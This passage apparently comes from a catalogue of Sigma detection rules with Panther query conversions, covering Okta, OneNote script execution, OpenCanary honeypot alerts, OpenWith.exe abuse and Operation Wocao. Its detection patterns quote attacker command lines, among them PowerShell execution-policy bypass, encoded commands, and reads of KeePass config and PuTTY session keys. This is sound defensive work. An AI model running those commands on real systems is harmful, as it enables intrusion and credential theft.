        eventType: 'user.account.report_suspicious_activity_by_enduser'
    condition: selection
falsepositives:
    - If an end-user incorrectly identifies normal activity as suspicious.
level: high
Convert to SIEM query
high
Okta User Session Start Via An Anonymising Proxy Service
Detects when an Okta user session starts where the user is behind an anonymising proxy service.
status test author kelnage id bde30855-5c53-4c18-ae90-1ff79ebc9578
panther query
def rule(event):
    if all(
        [
            event.deep_get("eventType", default="") == "user.session.start",
            event.deep_get("securityContext", "isProxy", default="") == "true",
        ]
    ):
        return True
    return False
view Sigma YAML
title: Okta User Session Start Via An Anonymising Proxy Service
id: bde30855-5c53-4c18-ae90-1ff79ebc9578
status: test
description: Detects when an Okta user session starts where the user is behind an anonymising proxy service.
references:
    - https://developer.okta.com/docs/reference/api/system-log/
    - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
author: kelnage
date: 2023-09-07
modified: 2026-04-27
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    product: okta
    service: okta
detection:
    selection:
        eventType: 'user.session.start'
        securityContext.isProxy: 'true'
    condition: selection
falsepositives:
    - If a user requires an anonymising proxy due to valid justifications.
level: high
Convert to SIEM query
high
OneNote.EXE Execution of Malicious Embedded Scripts
Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.
status test author @kostastsale id 84b1706c-932a-44c4-ae28-892b28a25b94
panther query
def rule(event):
    if all(
        [
            event.deep_get("ParentImage", default="").endswith("\\onenote.exe"),
            any(
                [
                    event.deep_get("Image", default="").endswith("\\cmd.exe"),
                    event.deep_get("Image", default="").endswith("\\cscript.exe"),
                    event.deep_get("Image", default="").endswith("\\mshta.exe"),
                    event.deep_get("Image", default="").endswith("\\powershell.exe"),
                    event.deep_get("Image", default="").endswith("\\pwsh.exe"),
                    event.deep_get("Image", default="").endswith("\\wscript.exe"),
                ]
            ),
            any(
                [
                    "\\exported\\" in event.deep_get("CommandLine", default=""),
                    "\\onenoteofflinecache_files\\" in event.deep_get("CommandLine", default=""),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: OneNote.EXE Execution of Malicious Embedded Scripts
id: 84b1706c-932a-44c4-ae28-892b28a25b94
status: test
description: |
    Detects the execution of malicious OneNote documents that contain embedded scripts.
    When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.
references:
    - https://bazaar.abuse.ch/browse/tag/one/
author: '@kostastsale'
date: 2023-02-02
tags:
    - attack.stealth
    - attack.t1218.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\onenote.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
        CommandLine|contains:
            - '\exported\'
            - '\onenoteofflinecache_files\'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
Onyx Sleet APT File Creation Indicators
Detects file creation activity that is related to Onyx Sleet APT activity
status test author Nasreddine Bencherchali (Nextron Systems) id 2fef4fd9-7206-40d1-b4f5-ad6441d0cd9b
panther query
def rule(event):
    if event.deep_get("TargetFilename", default="").endswith(":\\Windows\\ADFS\\bg\\inetmgr.exe"):
        return True
    return False
view Sigma YAML
title: Onyx Sleet APT File Creation Indicators
id: 2fef4fd9-7206-40d1-b4f5-ad6441d0cd9b
status: test
description: Detects file creation activity that is related to Onyx Sleet APT activity
references:
    - https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-10-24
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: ':\Windows\ADFS\bg\inetmgr.exe'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - FTP Login Attempt
Detects instances where an FTP service on an OpenCanary node has had a login attempt.
status test author Security Onion Solutions id 6991bc2b-ae2e-447f-bc55-3a1ba04c14e5
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 2000:
        return True
    return False
view Sigma YAML
title: OpenCanary - FTP Login Attempt
id: 6991bc2b-ae2e-447f-bc55-3a1ba04c14e5
status: test
description: Detects instances where an FTP service on an OpenCanary node has had a login attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.exfiltration
    - attack.lateral-movement
    - attack.t1190
    - attack.t1021
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 2000
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - GIT Clone Request
Detects instances where a GIT service on an OpenCanary node has had Git Clone request.
status test author Security Onion Solutions id 4fe17521-aef3-4e6a-9d6b-4a7c8de155a8
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 16001:
        return True
    return False
view Sigma YAML
title: OpenCanary - GIT Clone Request
id: 4fe17521-aef3-4e6a-9d6b-4a7c8de155a8
status: test
description: Detects instances where a GIT service on an OpenCanary node has had Git Clone request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.collection
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 16001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - HTTP GET Request
Detects instances where an HTTP service on an OpenCanary node has received a GET request.
status test author Security Onion Solutions id af6c3078-84cd-4c68-8842-08b76bd81b13
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 3000:
        return True
    return False
view Sigma YAML
title: OpenCanary - HTTP GET Request
id: af6c3078-84cd-4c68-8842-08b76bd81b13
status: test
description: Detects instances where an HTTP service on an OpenCanary node has received a GET request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 3000
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - HTTP POST Login Attempt
Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.
status test author Security Onion Solutions id af1ac430-df6b-4b38-b976-0b52f07a0252
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 3001:
        return True
    return False
view Sigma YAML
title: OpenCanary - HTTP POST Login Attempt
id: af1ac430-df6b-4b38-b976-0b52f07a0252
status: test
description: |
    Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 3001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - HTTPPROXY Login Attempt
Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.
status test author Security Onion Solutions id 5498fc09-adc6-4804-b9d9-5cca1f0b8760
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 7001:
        return True
    return False
view Sigma YAML
title: OpenCanary - HTTPPROXY Login Attempt
id: 5498fc09-adc6-4804-b9d9-5cca1f0b8760
status: test
description: |
    Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.command-and-control
    - attack.t1090
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 7001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - Host Port Scan (SYN Scan)
Detects instances where an OpenCanary node has been targeted by a SYN port scan.
status experimental author Marco Pedrinazzi (@pedrinazziM) id 974be8d2-283e-4033-ab08-7505b84204d0
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 5001:
        return True
    return False
view Sigma YAML
title: OpenCanary - Host Port Scan (SYN Scan)
id: 974be8d2-283e-4033-ab08-7505b84204d0
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a SYN port scan.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - MSSQL Login Attempt Via SQLAuth
Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.
status test author Security Onion Solutions id 3ec9a16d-0b4f-4967-9542-ebf38ceac7dd
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 9001:
        return True
    return False
view Sigma YAML
title: OpenCanary - MSSQL Login Attempt Via SQLAuth
id: 3ec9a16d-0b4f-4967-9542-ebf38ceac7dd
status: test
description: |
    Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1003
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 9001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - MSSQL Login Attempt Via Windows Authentication
Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.
status test author Security Onion Solutions id 6e78f90f-0043-4a01-ac41-f97681613a66
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 9002:
        return True
    return False
view Sigma YAML
title: OpenCanary - MSSQL Login Attempt Via Windows Authentication
id: 6e78f90f-0043-4a01-ac41-f97681613a66
status: test
description: |
    Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1003
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 9002
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - MySQL Login Attempt
Detects instances where a MySQL service on an OpenCanary node has had a login attempt.
status test author Security Onion Solutions id e7d79a1b-25ed-4956-bd56-bd344fa8fd06
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 8001:
        return True
    return False
view Sigma YAML
title: OpenCanary - MySQL Login Attempt
id: e7d79a1b-25ed-4956-bd56-bd344fa8fd06
status: test
description: Detects instances where a MySQL service on an OpenCanary node has had a login attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1003
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 8001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - NMAP FIN Scan
Detects instances where an OpenCanary node has been targeted by a NMAP FIN Scan
status experimental author Marco Pedrinazzi (@pedrinazziM) id eae8c0c8-e5da-450a-9d7d-66aa56cd26b6
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 5005:
        return True
    return False
view Sigma YAML
title: OpenCanary - NMAP FIN Scan
id: eae8c0c8-e5da-450a-9d7d-66aa56cd26b6
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a NMAP FIN Scan
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5005
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - NMAP NULL Scan
Detects instances where an OpenCanary node has been targeted by a NMAP NULL Scan
status experimental author Marco Pedrinazzi (@pedrinazziM) id 68b8547b-107f-43f3-97fb-900a7d63c190
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 5003:
        return True
    return False
view Sigma YAML
title: OpenCanary - NMAP NULL Scan
id: 68b8547b-107f-43f3-97fb-900a7d63c190
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a NMAP NULL Scan
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5003
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - NMAP OS Scan
Detects instances where an OpenCanary node has been targeted by a NMAP OS Scan
status experimental author Marco Pedrinazzi (@pedrinazziM) id e8a677fd-248c-4eab-94df-de2f6f645884
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 5002:
        return True
    return False
view Sigma YAML
title: OpenCanary - NMAP OS Scan
id: e8a677fd-248c-4eab-94df-de2f6f645884
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a NMAP OS Scan
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5002
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - NMAP XMAS Scan
Detects instances where an OpenCanary node has been targeted by a NMAP XMAS Scan
status experimental author Marco Pedrinazzi (@pedrinazziM) id d7553d7b-f485-479c-b192-cdac6edd83a4
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 5004:
        return True
    return False
view Sigma YAML
title: OpenCanary - NMAP XMAS Scan
id: d7553d7b-f485-479c-b192-cdac6edd83a4
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a NMAP XMAS Scan
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5004
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - NTP Monlist Request
Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.
status test author Security Onion Solutions id 7cded4b3-f09e-405a-b96f-24248433ba44
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 11001:
        return True
    return False
view Sigma YAML
title: OpenCanary - NTP Monlist Request
id: 7cded4b3-f09e-405a-b96f-24248433ba44
status: test
description: Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.impact
    - attack.t1498
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 11001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - RDP New Connection Attempt
Detects instances where an RDP service on an OpenCanary node has had a connection attempt.
status experimental author Marco Pedrinazzi (@pedrinazziM) id 598290cf-5932-45cd-9123-be1e05ab4f2e
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 14001:
        return True
    return False
view Sigma YAML
title: OpenCanary - RDP New Connection Attempt
id: 598290cf-5932-45cd-9123-be1e05ab4f2e
status: experimental
description: Detects instances where an RDP service on an OpenCanary node has had a connection attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.initial-access
    - attack.lateral-movement
    - attack.persistence
    - attack.t1133
    - attack.t1021.001
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 14001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - REDIS Action Command Attempt
Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.
status test author Security Onion Solutions id 547dfc53-ebf6-4afe-8d2e-793d9574975d
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 17001:
        return True
    return False
view Sigma YAML
title: OpenCanary - REDIS Action Command Attempt
id: 547dfc53-ebf6-4afe-8d2e-793d9574975d
status: test
description: Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1003
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 17001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - SIP Request
Detects instances where an SIP service on an OpenCanary node has had a SIP request.
status test author Security Onion Solutions id e30de276-68ec-435c-ab99-ef3befec6c61
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 15001:
        return True
    return False
view Sigma YAML
title: OpenCanary - SIP Request
id: e30de276-68ec-435c-ab99-ef3befec6c61
status: test
description: Detects instances where an SIP service on an OpenCanary node has had a SIP request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.collection
    - attack.t1123
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 15001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - SMB File Open Request
Detects instances where an SMB service on an OpenCanary node has had a file open request.
status test author Security Onion Solutions id 22777c9e-873a-4b49-855f-6072ab861a52
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 5000:
        return True
    return False
view Sigma YAML
title: OpenCanary - SMB File Open Request
id: 22777c9e-873a-4b49-855f-6072ab861a52
status: test
description: Detects instances where an SMB service on an OpenCanary node has had a file open request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.lateral-movement
    - attack.collection
    - attack.t1021
    - attack.t1005
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5000
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - SNMP OID Request
Detects instances where an SNMP service on an OpenCanary node has had an OID request.
status test author Security Onion Solutions id e9856028-fd4e-46e6-b3d1-10f7ceb95078
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 13001:
        return True
    return False
view Sigma YAML
title: OpenCanary - SNMP OID Request
id: e9856028-fd4e-46e6-b3d1-10f7ceb95078
status: test
description: Detects instances where an SNMP service on an OpenCanary node has had an OID request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.discovery
    - attack.lateral-movement
    - attack.t1016
    - attack.t1021
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 13001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - SSH Login Attempt
Detects instances where an SSH service on an OpenCanary node has had a login attempt.
status test author Security Onion Solutions id ff7139bc-fdb1-4437-92f2-6afefe8884cb
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 4002:
        return True
    return False
view Sigma YAML
title: OpenCanary - SSH Login Attempt
id: ff7139bc-fdb1-4437-92f2-6afefe8884cb
status: test
description: Detects instances where an SSH service on an OpenCanary node has had a login attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.lateral-movement
    - attack.persistence
    - attack.stealth
    - attack.t1133
    - attack.t1021
    - attack.t1078
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 4002
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - SSH New Connection Attempt
Detects instances where an SSH service on an OpenCanary node has had a connection attempt.
status test author Security Onion Solutions id cd55f721-5623-4663-bd9b-5229cab5237d
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 4000:
        return True
    return False
view Sigma YAML
title: OpenCanary - SSH New Connection Attempt
id: cd55f721-5623-4663-bd9b-5229cab5237d
status: test
description: Detects instances where an SSH service on an OpenCanary node has had a connection attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.lateral-movement
    - attack.persistence
    - attack.stealth
    - attack.t1133
    - attack.t1021
    - attack.t1078
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 4000
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - TFTP Request
Detects instances where a TFTP service on an OpenCanary node has had a request.
status test author Security Onion Solutions id b4e6b016-a2ac-4759-ad85-8000b300d61e
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 10001:
        return True
    return False
view Sigma YAML
title: OpenCanary - TFTP Request
id: b4e6b016-a2ac-4759-ad85-8000b300d61e
status: test
description: Detects instances where a TFTP service on an OpenCanary node has had a request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.exfiltration
    - attack.t1041
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 10001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - Telnet Login Attempt
Detects instances where a Telnet service on an OpenCanary node has had a login attempt.
status test author Security Onion Solutions id 512cff7a-683a-43ad-afe0-dd398e872f36
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 6001:
        return True
    return False
view Sigma YAML
title: OpenCanary - Telnet Login Attempt
id: 512cff7a-683a-43ad-afe0-dd398e872f36
status: test
description: Detects instances where a Telnet service on an OpenCanary node has had a login attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.initial-access
    - attack.command-and-control
    - attack.stealth
    - attack.t1133
    - attack.t1078
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 6001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenCanary - VNC Connection Attempt
Detects instances where a VNC service on an OpenCanary node has had a connection attempt.
status test author Security Onion Solutions id 9db5446c-b44a-4291-8b89-fcab5609c3b3
panther query
def rule(event):
    if event.deep_get("logtype", default="") == 12001:
        return True
    return False
view Sigma YAML
title: OpenCanary - VNC Connection Attempt
id: 9db5446c-b44a-4291-8b89-fcab5609c3b3
status: test
description: Detects instances where a VNC service on an OpenCanary node has had a connection attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.lateral-movement
    - attack.t1021
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 12001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high
OpenWith.exe Executes Specified Binary
The OpenWith.exe executes other binary
status test author Beyu Denis, oscd.community (rule), @harr0ey (idea) id cec8e918-30f7-4e2d-9bfa-a59cc97ae60f
panther query
def rule(event):
    if all(
        [
            event.deep_get("Image", default="").endswith("\\OpenWith.exe"),
            "/c" in event.deep_get("CommandLine", default=""),
        ]
    ):
        return True
    return False
view Sigma YAML
title: OpenWith.exe Executes Specified Binary
id: cec8e918-30f7-4e2d-9bfa-a59cc97ae60f
status: test
description: The OpenWith.exe executes other binary
references:
    - https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml
    - https://twitter.com/harr0ey/status/991670870384021504
author: Beyu Denis, oscd.community (rule), @harr0ey (idea)
date: 2019-10-12
modified: 2021-11-27
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\OpenWith.exe'
        CommandLine|contains: '/c'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Operation Wocao Activity
Detects activity mentioned in Operation Wocao report
status test author Florian Roth (Nextron Systems), frack113 id 1cfac73c-be78-4f9a-9b08-5bde0c3953ab
panther query
import re


def rule(event):
    if any(
        [
            "checkadmin.exe 127.0.0.1 -all" in event.deep_get("CommandLine", default=""),
            "netsh advfirewall firewall add rule name=powershell dir=in"
            in event.deep_get("CommandLine", default=""),
            "cmd /c powershell.exe -ep bypass -file c:\\s.ps1"
            in event.deep_get("CommandLine", default=""),
            "/tn win32times /f" in event.deep_get("CommandLine", default=""),
            "create win32times binPath=" in event.deep_get("CommandLine", default=""),
            "\\c$\\windows\\system32\\devmgr.dll" in event.deep_get("CommandLine", default=""),
            " -exec bypass -enc JgAg" in event.deep_get("CommandLine", default=""),
            re.match(
                r"^.*type .*keepass\\KeePass.config.xml.*$",
                event.deep_get("CommandLine", default=""),
            ),
            "iie.exe iie.txt" in event.deep_get("CommandLine", default=""),
            re.match(
                r"^.*reg query HKEY_CURRENT_USER\\Software\\.*\\PuTTY\\Sessions\\.*$",
                event.deep_get("CommandLine", default=""),
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Operation Wocao Activity
id: 1cfac73c-be78-4f9a-9b08-5bde0c3953ab
related:
    - id: 74ad4314-482e-4c3e-b237-3f7ed3b9ca8d
      type: derived
status: test
description: Detects activity mentioned in Operation Wocao report
references:
    - https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/
    - https://twitter.com/SBousseaden/status/1207671369963646976
author: Florian Roth (Nextron Systems), frack113
date: 2019-12-20
modified: 2022-10-09
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.discovery
    - attack.stealth
    - attack.t1012
    - attack.t1036.004
    - attack.t1027
    - attack.execution
    - attack.t1053.005
    - attack.t1059.001
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        CommandLine|contains:
            - 'checkadmin.exe 127.0.0.1 -all'
            - 'netsh advfirewall firewall add rule name=powershell dir=in'
            - 'cmd /c powershell.exe -ep bypass -file c:\s.ps1'
            - '/tn win32times /f'
            - 'create win32times binPath='
            - '\c$\windows\system32\devmgr.dll'
            - ' -exec bypass -enc JgAg'
